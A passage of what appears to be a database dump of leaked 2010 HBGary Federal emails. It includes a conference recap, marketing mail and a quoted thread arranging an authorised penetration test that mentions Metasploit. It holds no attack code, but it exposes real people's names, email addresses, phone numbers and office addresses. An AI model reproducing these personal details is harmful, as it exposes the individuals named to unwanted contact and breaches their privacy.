“Shaken, Not Stirred: Preventing Cyber Attacks with Actionable Threat Intelligence” Webinar at 1:00 p.m. EST on July 21, 2010\r\n\r\n      \r\n      \r\n         \r\n      \r\n\r\n      \r\n        See It in Action \r\n          Check out our 4-minute YouTube video demo to see the visibility and control you will gain when using our Information Flow Map™ feature for advanced situational awareness. \r\n\r\n      \r\n      \r\n         \r\n      \r\n\r\n      \r\n        Read All About It\r\n        Download our white paper, “Preventing Cyber  Attacks with Real-Time Threat Intelligence”. \r\n           \r\n  \r\n\r\n  \r\n    Copyright © 2010 Fidelis Security Systems. the Fidelis Security Systems logo are registered trademarks of Fidelis Security Systems.\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n         Click to view this email in a browser\r\n         \r\n         \r\n       If you no longer wish to receive these emails, please reply to this message with &quot;Unsubscribe&quot; in the subject line or simply click on the following link: \r\n \r\nUnsubscribe\r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n                  Fidelis Security Systems\r\n        4416 East West Highway\r\n        Suite 310\r\n        Bethesda, Maryland 20814\r\n\r\n        \r\n          \r\nRead the VerticalResponse marketing policy.\r\n\r\n\r\n        \r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n \r\n\r\n',11195,'aaron_hbgary_com/11195.html'),(7817,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006082.M430058P14101Q2672.eml','\"Greg Hoglund\" <greg@hbgary.com>','License','Hey Greg,\r\n\r\nI would like to put together a New Media Datasheet.  My InDesign license ran out, any chance you have one I could use temporarily?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8594,'aaron_hbgary_com/8594.html'),(7818,'2010-06-25','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297006082.M733616P14101Q2673.eml','first-2010announce@first.org','FIRST 2010 Recap, Conference Podcasts and more...','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nColleague,\r\n\r\n&nbsp;\r\n\r\nWere\r\nyou unable to attend FIRST 2010?&nbsp; It was quite the week!&nbsp; With 470\r\nattendees from 48 countries, the 22nd Annual FIRST Conference in\r\nMiami, Florida was without a doubt, one for the record books.&nbsp; The week\r\nincluded some of the most highly respected and anticipated speakers in the\r\nincident response community, a buzzing vendor showcase (ahem&#8230;Guinness was\r\ntapped dry in 45 minutes!), new and popular Lightning Talk sessions, tours to\r\nTerremark&#8217;s NAP of the Americas facility, a very festive conga line at\r\nthe banquet dinner and of course, the constant humming of the vuvuzela horns\r\nplaying from the televisions down in the hotel bar.\r\n\r\n&nbsp;\r\n\r\nA\r\nspecial thank you to our 2010 Program Chair, Andrew Cushman of Microsoft\r\nand his team of volunteer program committee members for their time and\r\ndedication this year.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nConference\r\nrelated articles&#8230;\r\n\r\n\r\n Head over to Twitter and search\r\n     #FIRST2010 to pull all the conference tweets\r\n Article by Robert Westervelt of\r\n     SearchSecurity: http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1515138,00.html\r\n Article by Kelly Higgins of\r\n     DarkReading: http://www.darkreading.com/security/government/showArticle.jhtml?articleID=225700567\r\n     \r\n Windows Incident Response Blog: http://windowsir.blogspot.com/2010/06/whos-onuh-atfirst.html\r\n     \r\n\r\n\r\n&nbsp;\r\n\r\nMore\r\nNew Podcasts!\r\n\r\nMartin\r\nMcKeay of the NetSecPodcast was a busy bee last week; grabbing interviews with\r\na handful of presenters, Steering Committee members and Gavin Reid of Cisco,\r\nthe 2011 Program Chair.&nbsp; We&#8217;ll be launching the interviews all\r\nsummer/winter (depending on your location) for your listening pleasure.\r\n\r\n&nbsp;\r\n\r\nNew\r\nEpisode: Steven Adair of The Shadowserver Foundation\r\n\r\nMartin\r\nsits down with Steven Adair at the conference to discuss a bit about The\r\nShadowserver Foundation and his presentation, &quot;Targeted Intrusions &amp;\r\nCyber Espionage-Wake up!&quot;&nbsp; Steven is a security researcher at the\r\nShadowserver Foundation and a principal architect at eTouch Systems.&nbsp;\r\nSteven spoke at the 22nd Annual FIRST conference on Monday, June 14\r\n@1330.&nbsp; Check out the interview at http://conference.first.org/podcasts.aspx.\r\n\r\n\r\n&nbsp;\r\n\r\nSpecial\r\nthanks to our keynote presenters:\r\n\r\nDUS\r\nPhil Reitinger, U.S. Department of Homeland Security\r\n\r\nDave\r\nAitel, Immunity\r\n\r\nDr.\r\nUdo Helmbrecht, ENISA\r\n\r\nChristofer\r\nHoff, Cisco\r\n\r\nJohn\r\nStewart, Cisco\r\n\r\n&nbsp;\r\n\r\nSpecial\r\nthanks to all of our sponsors and exhibitors for the continued support:\r\n\r\nDiamond: BT &amp;\r\nComputerlinks\r\n\r\nGold: Microsoft, VeriSign,\r\nNeustar\r\n\r\nNetwork: Cisco\r\n\r\nInternet: Telefonica USA\r\n\r\nBanquet: Adobe\r\n\r\nSupporting\r\nSponsors:\r\nTerremark, INTERPOL, Oracle, Google, Secunia, BFK Consulting, Hitachi,\r\nSyngress, NetSecPodcast, Diageo, SecurityActs, KRvW Associates, LLC\r\n\r\nExhibitors: ICS-CERT,\r\nNetwitness, HBGary, MANDIANT, US-CERT, Solera, Damballa\r\n\r\n&nbsp;\r\n\r\nFIRST\r\n2011 Special Offer\r\n\r\nRegister\r\ntoday and receive the US $1300 registration rate for the 23rd Annual\r\nFIRST Conference in Vienna, Austria.&nbsp; Registration and payment must be\r\nreceived by June 30th in order to take advantage of this special\r\nrate.&nbsp; Use VIENNASPECIAL at checkout.&nbsp; Access the registration\r\nform at http://conference.first.org/2011.\r\n\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any other questions regarding the conference or other FIRST events,\r\nplease don&#8217;t hesitate to contact us at the office at first-2010@first.org.&nbsp; For those of\r\nyou who are unaware of the transition, Steering Committee member Peter Allor\r\nhas passed his Conference Liaison torch on to Steering Committee colleague Kurt\r\nSauer for the 2011 conference.&nbsp; A big thank you to Pete for dedicating\r\nthree years to the Annual Conference planning process.&nbsp; We look forward to\r\nanother amazing program in 2011 with Kurt and the 2011 Program Chair, Gavin\r\nReid of Cisco! \r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6418,'aaron_hbgary_com/6418.html'),(7819,'2010-06-25','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297006084.M293277P14101Q2675.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Questions','They see no issue with you loading your tools on their laptop and executing.  They are also going to put a couple extra hours in for you to do the load so it doesn\'t take away the hacking work.  Let me know if you have any questions.  Thanks\r\n\r\n________________________________________\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Friday, June 25, 2010 2:10 PM\r\nTo: Jerry McClure\r\nCc: Aaron Barr; Ira Entis\r\nSubject: Re: Questions\r\n\r\nAny word on this Jerry?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 24, 2010 at 11:06 AM, Ted Vera  wrote:\r\n> We need to have our tools to do the job.  If they say we cannot\r\n> install anything then that would be a show-stopper.  Trying to do the\r\n> pen-test without our tools, completely manually, writing custom tools\r\n> from scratch is probably not feasible.\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, Jun 24, 2010 at 10:59 AM, Jerry McClure\r\n>  wrote:\r\n>> What about if they say no?  Will the answer be you can\'t do the task?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Thursday, June 24, 2010 12:58 PM\r\n>> To: Aaron Barr; Jerry McClure; Ira Entis\r\n>> Subject: Re: Questions\r\n>>\r\n>> Sorry, I only answered part of the question.  It will take no more\r\n>> than 1 hr to install and configure everything.\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Thu, Jun 24, 2010 at 10:56 AM, Ted Vera  wrote:\r\n>>> We can bring our software on disc or thumbdrive and install on their\r\n>>> systems if necessary.\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>>\r\n>>> On Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>>>>\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>> Begin forwarded message:\r\n>>>>\r\n>>>> From: Jerry McClure \r\n>>>> Date: June 24, 2010 11:13:24 AM EDT\r\n>>>> To: Aaron Barr \r\n>>>> Cc: Ira Entis \r\n>>>> Subject: Questions\r\n>>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> While read the technical proposal on the piece that you submitted to us that\r\n>>>> we included outlining in detail your approach, they came across this\r\n>>>> statement:\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> We will utilize the Metasploit Framework, an open-source penetration testing\r\n>>>> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n>>>> us to easily create and add new attack modules. To exploit a system\r\n>>>> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n>>>> (we will provide laptops).\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> The security issue they have is the \"We will provide laptops\" as they can\'t\r\n>>>> have foreign laptops connect to their network.  If they provided the\r\n>>>> laptops, could you load the software you needed on it and executed from\r\n>>>> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n>>>> other alternatives are there?  Thanks.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Jerry\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> From: Ira Entis\r\n>>>> Sent: Monday, June 14, 2010 3:44 PM\r\n>>>> To: Aaron Barr; Jerry McClure\r\n>>>> Subject: Fwd: my info\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Guys -- does this new time work for you?\r\n>>>>\r\n>>>> - Ira\r\n>>>>\r\n>>>> Begin forwarded message:\r\n>>>>\r\n>>>> From: \"Taylor, David A\" \r\n>>>> Date: June 14, 2010 3:33:51 PM EDT\r\n>>>> To: Ira Entis \r\n>>>> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n>>>> Subject: FW: my info\r\n>>>>\r\n>>>> Today\'s meeting will have to be canceled.\r\n>>>>\r\n>>>> Jim Gore is out of town.\r\n>>>>\r\n>>>> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n>>>> Tues. 6/15/10.\r\n>>>>\r\n>>>> My apologies for the late notice. I just found out.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> David Taylor\r\n>>>>\r\n>>>> 505-667-6884\r\n>>>>\r\n>>>> dataylor@lanl.gov\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> From: Taylor, David A\r\n>>>> Sent: Thursday, June 10, 2010 8:31 AM\r\n>>>> To: \'Ira Entis\'\r\n>>>> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n>>>> Lamb, James B\r\n>>>> Subject: RE: my info\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Ira\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Good to talk this morning.\r\n>>>>\r\n>>>> I am glad you have everything you need to review the PR.\r\n>>>>\r\n>>>> Below is a rough outline of key dates for your folks as we understand them.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> The following are dates that we have that you should know.\r\n>>>>\r\n>>>> PR was to have been sent on 6/3.\r\n>>>>\r\n>>>> You have this week to review.\r\n>>>>\r\n>>>> We would need to make the award by 6/21 so that we could get started on the\r\n>>>> background check.\r\n>>>>\r\n>>>> We expect that to take 3 weeks.\r\n>>>>\r\n>>>> Jim Gore would be at training on 7/13 - 7/16.\r\n>>>>\r\n>>>> We finish up hardening and testing 7/19 - 7/26\r\n>>>>\r\n>>>> We would review testing with your folks  on 7/28\r\n>>>>\r\n>>>> Your folks would be out here testing on the week of 8/9 - 8/13.\r\n>>>>\r\n>>>> We are assuming that you would be able to do the unix and app penetration\r\n>>>> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>>>>\r\n>>>> We would review test results on 8/16.\r\n>>>>\r\n>>>> We would then expect a written report on 8/30.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> If you need anything or have any questions do not hesitate to let me know.\r\n>>>>\r\n>>>> Thanks.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> David Taylor\r\n>>>>\r\n>>>> 505-667-6884\r\n>>>>\r\n>>>> dataylor@lanl.gov\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n>>>> Sent: Thursday, April 22, 2010 2:01 PM\r\n>>>> To: Taylor, David A\r\n>>>> Subject: my info\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> Ira S. Entis\r\n>>>> President, Government Services Sector\r\n>>>>\r\n>>>> Agilex Technologies, Inc.\r\n>>>> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n>>>> p:703.889.3900  |   m: 703.969.3200\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623',4088,'aaron_hbgary_com/4088.html'),(7820,'2010-06-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006084.M560931P14101Q2676.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,','Re: Questions','Excellent, thanks.  Is a kickoff meeting still planned for next Monday?\r\n\r\nTed\r\n\r\nOn Fri, Jun 25, 2010 at 2:34 PM, Jerry McClure  wrote:\r\n> They see no issue with you loading your tools on their laptop and executing.  They are also going to put a couple extra hours in for you to do the load so it doesn\'t take away the hacking work.  Let me know if you have any questions.  Thanks\r\n>\r\n> ________________________________________\r\n> From: Ted Vera [ted@hbgary.com]\r\n> Sent: Friday, June 25, 2010 2:10 PM\r\n> To: Jerry McClure\r\n> Cc: Aaron Barr; Ira Entis\r\n> Subject: Re: Questions\r\n>\r\n> Any word on this Jerry?\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, Jun 24, 2010 at 11:06 AM, Ted Vera  wrote:\r\n>> We need to have our tools to do the job.  If they say we cannot\r\n>> install anything then that would be a show-stopper.  Trying to do the\r\n>> pen-test without our tools, completely manually, writing custom tools\r\n>> from scratch is probably not feasible.\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Thu, Jun 24, 2010 at 10:59 AM, Jerry McClure\r\n>>  wrote:\r\n>>> What about if they say no?  Will the answer be you can\'t do the task?\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Thursday, June 24, 2010 12:58 PM\r\n>>> To: Aaron Barr; Jerry McClure; Ira Entis\r\n>>> Subject: Re: Questions\r\n>>>\r\n>>> Sorry, I only answered part of the question.  It will take no more\r\n>>> than 1 hr to install and configure everything.\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Thu, Jun 24, 2010 at 10:56 AM, Ted Vera  wrote:\r\n>>>> We can bring our software on disc or thumbdrive and install on their\r\n>>>> systems if necessary.\r\n>>>>\r\n>>>> Ted\r\n>>>>\r\n>>>>\r\n>>>> On Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>>>>>\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n>>>>> Begin forwarded message:\r\n>>>>>\r\n>>>>> From: Jerry McClure \r\n>>>>> Date: June 24, 2010 11:13:24 AM EDT\r\n>>>>> To: Aaron Barr \r\n>>>>> Cc: Ira Entis \r\n>>>>> Subject: Questions\r\n>>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> While read the technical proposal on the piece that you submitted to us that\r\n>>>>> we included outlining in detail your approach, they came across this\r\n>>>>> statement:\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> We will utilize the Metasploit Framework, an open-source penetration testing\r\n>>>>> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n>>>>> us to easily create and add new attack modules. To exploit a system\r\n>>>>> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n>>>>> (we will provide laptops).\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> The security issue they have is the \"We will provide laptops\" as they can\'t\r\n>>>>> have foreign laptops connect to their network.  If they provided the\r\n>>>>> laptops, could you load the software you needed on it and executed from\r\n>>>>> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n>>>>> other alternatives are there?  Thanks.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Jerry\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> From: Ira Entis\r\n>>>>> Sent: Monday, June 14, 2010 3:44 PM\r\n>>>>> To: Aaron Barr; Jerry McClure\r\n>>>>> Subject: Fwd: my info\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Guys -- does this new time work for you?\r\n>>>>>\r\n>>>>> - Ira\r\n>>>>>\r\n>>>>> Begin forwarded message:\r\n>>>>>\r\n>>>>> From: \"Taylor, David A\" \r\n>>>>> Date: June 14, 2010 3:33:51 PM EDT\r\n>>>>> To: Ira Entis \r\n>>>>> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n>>>>> Subject: FW: my info\r\n>>>>>\r\n>>>>> Today\'s meeting will have to be canceled.\r\n>>>>>\r\n>>>>> Jim Gore is out of town.\r\n>>>>>\r\n>>>>> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n>>>>> Tues. 6/15/10.\r\n>>>>>\r\n>>>>> My apologies for the late notice. I just found out.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> David Taylor\r\n>>>>>\r\n>>>>> 505-667-6884\r\n>>>>>\r\n>>>>> dataylor@lanl.gov\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> From: Taylor, David A\r\n>>>>> Sent: Thursday, June 10, 2010 8:31 AM\r\n>>>>> To: \'Ira Entis\'\r\n>>>>> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n>>>>> Lamb, James B\r\n>>>>> Subject: RE: my info\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Ira\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Good to talk this morning.\r\n>>>>>\r\n>>>>> I am glad you have everything you need to review the PR.\r\n>>>>>\r\n>>>>> Below is a rough outline of key dates for your folks as we understand them.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> The following are dates that we have that you should know.\r\n>>>>>\r\n>>>>> PR was to have been sent on 6/3.\r\n>>>>>\r\n>>>>> You have this week to review.\r\n>>>>>\r\n>>>>> We would need to make the award by 6/21 so that we could get started on the\r\n>>>>> background check.\r\n>>>>>\r\n>>>>> We expect that to take 3 weeks.\r\n>>>>>\r\n>>>>> Jim Gore would be at training on 7/13 - 7/16.\r\n>>>>>\r\n>>>>> We finish up hardening and testing 7/19 - 7/26\r\n>>>>>\r\n>>>>> We would review testing with your folks  on 7/28\r\n>>>>>\r\n>>>>> Your folks would be out here testing on the week of 8/9 - 8/13.\r\n>>>>>\r\n>>>>> We are assuming that you would be able to do the unix and app penetration\r\n>>>>> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>>>>>\r\n>>>>> We would review test results on 8/16.\r\n>>>>>\r\n>>>>> We would then expect a written report on 8/30.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> If you need anything or have any questions do not hesitate to let me know.\r\n>>>>>\r\n>>>>> Thanks.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> David Taylor\r\n>>>>>\r\n>>>>> 505-667-6884\r\n>>>>>\r\n>>>>> dataylor@lanl.gov\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n>>>>> Sent: Thursday, April 22, 2010 2:01 PM\r\n>>>>> To: Taylor, David A\r\n>>>>> Subject: my info\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Ira S. Entis\r\n>>>>> President, Government Services Sector\r\n>>>>>\r\n>>>>> Agilex Technologies, Inc.\r\n>>>>> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n>>>>> p:703.889.3900  |   m: 703.969.3200\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> --\r\n>>>> Ted H. Vera\r\n>>>> President | COO\r\n>>>> HBGary Federal\r\n>>>> 719-237-8623\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15843,'aaron_hbgary_com/15843.html'),(7821,'2010-06-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006084.M59067P14101Q2674.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: here, check this','---------- Forwarded message ----------\r\nFrom: Greg Hoglund \r\nDate: Thu, Jun 24, 2010 at 4:15 PM\r\nSubject: here, check this\r\nTo: Mark Trynor , Ted Vera \r\n\r\n\r\nsome concepts on this...\r\n\r\n-Greg\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7535,'aaron_hbgary_com/7535.html'),(7822,'2010-06-25','ted@hbgary.com','/aaron@hbgary.com/new/1297006084.M816961P14101Q2677.eml','aaron@hbgary.com','Rootkit_like_rootkit-1','\r\n\r\nI\'ve shared Rootkit_like_rootkit-1\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nRootkit_like_rootkit-1\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',15010,'aaron_hbgary_com/15010.html'),(7823,'2010-06-25','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297006085.M176590P14101Q2678.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Questions','Ira may have to answer this as I wasn\'t aware of a kick off meeting.  We had to split the proposal into two so we could get the Oracle piece of it awarded and give us time to complete the hacking portion.  It might be better to let our Oracle resource work out that a few days and then set up a telecom where is could answer many of your questions with them.\r\n\r\n________________________________________\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Friday, June 25, 2010 4:37 PM\r\nTo: Jerry McClure\r\nCc: Aaron Barr; Ira Entis\r\nSubject: Re: Questions\r\n\r\nExcellent, thanks.  Is a kickoff meeting still planned for next Monday?\r\n\r\nTed\r\n\r\nOn Fri, Jun 25, 2010 at 2:34 PM, Jerry McClure  wrote:\r\n> They see no issue with you loading your tools on their laptop and executing.  They are also going to put a couple extra hours in for you to do the load so it doesn\'t take away the hacking work.  Let me know if you have any questions.  Thanks\r\n>\r\n> ________________________________________\r\n> From: Ted Vera [ted@hbgary.com]\r\n> Sent: Friday, June 25, 2010 2:10 PM\r\n> To: Jerry McClure\r\n> Cc: Aaron Barr; Ira Entis\r\n> Subject: Re: Questions\r\n>\r\n> Any word on this Jerry?\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, Jun 24, 2010 at 11:06 AM, Ted Vera  wrote:\r\n>> We need to have our tools to do the job.  If they say we cannot\r\n>> install anything then that would be a show-stopper.  Trying to do the\r\n>> pen-test without our tools, completely manually, writing custom tools\r\n>> from scratch is probably not feasible.\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Thu, Jun 24, 2010 at 10:59 AM, Jerry McClure\r\n>>  wrote:\r\n>>> What about if they say no?  Will the answer be you can\'t do the task?\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Thursday, June 24, 2010 12:58 PM\r\n>>> To: Aaron Barr; Jerry McClure; Ira Entis\r\n>>> Subject: Re: Questions\r\n>>>\r\n>>> Sorry, I only answered part of the question.  It will take no more\r\n>>> than 1 hr to install and configure everything.\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Thu, Jun 24, 2010 at 10:56 AM, Ted Vera  wrote:\r\n>>>> We can bring our software on disc or thumbdrive and install on their\r\n>>>> systems if necessary.\r\n>>>>\r\n>>>> Ted\r\n>>>>\r\n>>>>\r\n>>>> On Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>>>>>\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n>>>>> Begin forwarded message:\r\n>>>>>\r\n>>>>> From: Jerry McClure \r\n>>>>> Date: June 24, 2010 11:13:24 AM EDT\r\n>>>>> To: Aaron Barr \r\n>>>>> Cc: Ira Entis \r\n>>>>> Subject: Questions\r\n>>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> While read the technical proposal on the piece that you submitted to us that\r\n>>>>> we included outlining in detail your approach, they came across this\r\n>>>>> statement:\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> We will utilize the Metasploit Framework, an open-source penetration testing\r\n>>>>> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n>>>>> us to easily create and add new attack modules. To exploit a system\r\n>>>>> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n>>>>> (we will provide laptops).\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> The security issue they have is the \"We will provide laptops\" as they can\'t\r\n>>>>> have foreign laptops connect to their network.  If they provided the\r\n>>>>> laptops, could you load the software you needed on it and executed from\r\n>>>>> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n>>>>> other alternatives are there?  Thanks.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Jerry\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> From: Ira Entis\r\n>>>>> Sent: Monday, June 14, 2010 3:44 PM\r\n>>>>> To: Aaron Barr; Jerry McClure\r\n>>>>> Subject: Fwd: my info\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Guys -- does this new time work for you?\r\n>>>>>\r\n>>>>> - Ira\r\n>>>>>\r\n>>>>> Begin forwarded message:\r\n>>>>>\r\n>>>>> From: \"Taylor, David A\" \r\n>>>>> Date: June 14, 2010 3:33:51 PM EDT\r\n>>>>> To: Ira Entis \r\n>>>>> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n>>>>> Subject: FW: my info\r\n>>>>>\r\n>>>>> Today\'s meeting will have to be canceled.\r\n>>>>>\r\n>>>>> Jim Gore is out of town.\r\n>>>>>\r\n>>>>> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n>>>>> Tues. 6/15/10.\r\n>>>>>\r\n>>>>> My apologies for the late notice. I just found out.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> David Taylor\r\n>>>>>\r\n>>>>> 505-667-6884\r\n>>>>>\r\n>>>>> dataylor@lanl.gov\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> From: Taylor, David A\r\n>>>>> Sent: Thursday, June 10, 2010 8:31 AM\r\n>>>>> To: \'Ira Entis\'\r\n>>>>> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n>>>>> Lamb, James B\r\n>>>>> Subject: RE: my 